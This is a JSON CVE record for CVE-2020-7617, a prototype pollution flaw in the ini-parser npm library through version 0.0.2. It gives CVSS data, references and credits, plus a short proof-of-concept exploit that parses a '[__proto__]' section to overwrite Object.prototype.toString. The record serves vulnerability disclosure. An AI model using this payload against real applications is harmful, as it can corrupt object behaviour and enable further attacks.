{"id":"CVE-2020-7617","state":"PUBLISHED","title":"Prototype Pollution","description":"ini-parser through 0.0.2 is vulnerable to Prototype Pollution.The library could be tricked into adding or modifying properties of Object.prototype using a '__proto__' payload.","publishedAt":"2020-04-02T18:00:16.000Z","updatedAt":"2024-08-04T09:33:19.995Z","severity":{"score":4.4,"label":"Medium","version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","source":"snyk"},"assigner":"snyk","products":["rawiroaisen ini-parser"],"affected":[{"vendor":"rawiroaisen","product":"ini-parser","versions":[{"version":"unspecified","status":"affected","lessThanOrEqual":"0.0.2","versionType":"custom"}]}],"references":["https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14","https://snyk.io/vuln/SNYK-JS-INIPARSER-564122"],"weaknesses":[],"ingestedAt":"2026-10-29T19:47:41.446Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2020/7xxx/CVE-2020-7617.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2020-7617","state":"PUBLISHED","datePublished":"2020-04-02T18:00:16.000Z","dateUpdated":"2024-08-04T09:33:19.995Z","assignerShortName":"snyk","assignerOrgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730","dateReserved":"2020-01-21T00:00:00.000Z"},"containers":{"cna":{"title":"Prototype Pollution","descriptions":[{"lang":"en","value":"ini-parser through 0.0.2 is vulnerable to Prototype Pollution.The library could be tricked into adding or modifying properties of Object.prototype using a '__proto__' payload."}],"affected":[{"vendor":"rawiroaisen","product":"ini-parser","versions":[{"version":"unspecified","status":"affected","lessThanOrEqual":"0.0.2","versionType":"custom"}]}],"references":[{"url":"https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14","tags":["x_refsource_MISC"]},{"url":"https://snyk.io/vuln/SNYK-JS-INIPARSER-564122","tags":["x_refsource_MISC"]}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"LOCAL","availabilityImpact":"LOW","baseScore":4.4,"baseSeverity":"MEDIUM","confidentialityImpact":"LOW","integrityImpact":"NONE","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","version":"3.1"}}],"problemTypes":[{"descriptions":[{"description":"Prototype Pollution","lang":"en","type":"text"}]}],"providerMetadata":{"shortName":"snyk","dateUpdated":"2020-04-02T18:00:16.000Z","orgId":"bae035ff-b466-4ff4-94d0-fc9efd9e1730"},"credits":[{"lang":"en","value":"JHU System Security Lab"}],"exploits":[{"lang":"en","value":"var a = require(\"ini-parser\");\na.parse('[__proto__]\\ntoString=JHU');\nconsole.log({}.toString);"}],"source":{"discovery":"UNKNOWN"},"x_generator":{"engine":"Vulnogram 0.0.9"},"x_legacyV4Record":{"CVE_data_meta":{"ASSIGNER":"report@snyk.io","ID":"CVE-2020-7617","STATE":"PUBLIC","TITLE":"Prototype Pollution"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"ini-parser","version":{"version_data":[{"version_affected":"<=","version_value":"0.0.2"}]}}]},"vendor_name":"rawiroaisen"}]}},"credit":[{"lang":"eng","value":"JHU System Security Lab"}],"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"ini-parser through 0.0.2 is vulnerable to Prototype Pollution.The library could be tricked into adding or modifying properties of Object.prototype using a '__proto__' payload."}]},"exploit":[{"lang":"en","value":"var a = require(\"ini-parser\");\na.parse('[__proto__]\\ntoString=JHU');\nconsole.log({}.toString);"}],"generator":{"engine":"Vulnogram 0.0.9"},"impact":{"cvss":{"attackComplexity":"LOW","attackVector":"LOCAL","availabilityImpact":"LOW","baseScore":4.4,"baseSeverity":"MEDIUM","confidentialityImpact":"LOW","integrityImpact":"NONE","privilegesRequired":"LOW","scope":"UNCHANGED","userInteraction":"NONE","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","version":"3.1"}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"Prototype Pollution"}]}]},"references":{"reference_data":[{"name":"https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14","refsource":"MISC","url":"https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14"},{"name":"https://snyk.io/vuln/SNYK-JS-INIPARSER-564122","refsource":"MISC","url":"https://snyk.io/vuln/SNYK-JS-INIPARSER-564122"}]},"source":{"discovery":"UNKNOWN"}}},"adp":[{"title":"CVE Program Container","references":[{"url":"https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14","tags":["x_refsource_MISC","x_transferred"]},{"url":"https://snyk.io/vuln/SNYK-JS-INIPARSER-564122","tags":["x_refsource_MISC","x_transferred"]}],"providerMetadata":{"shortName":"CVE","orgId":"af854a3a-2127-422b-91ae-364da2661108","dateUpdated":"2024-08-04T09:33:19.995Z"}}]}}}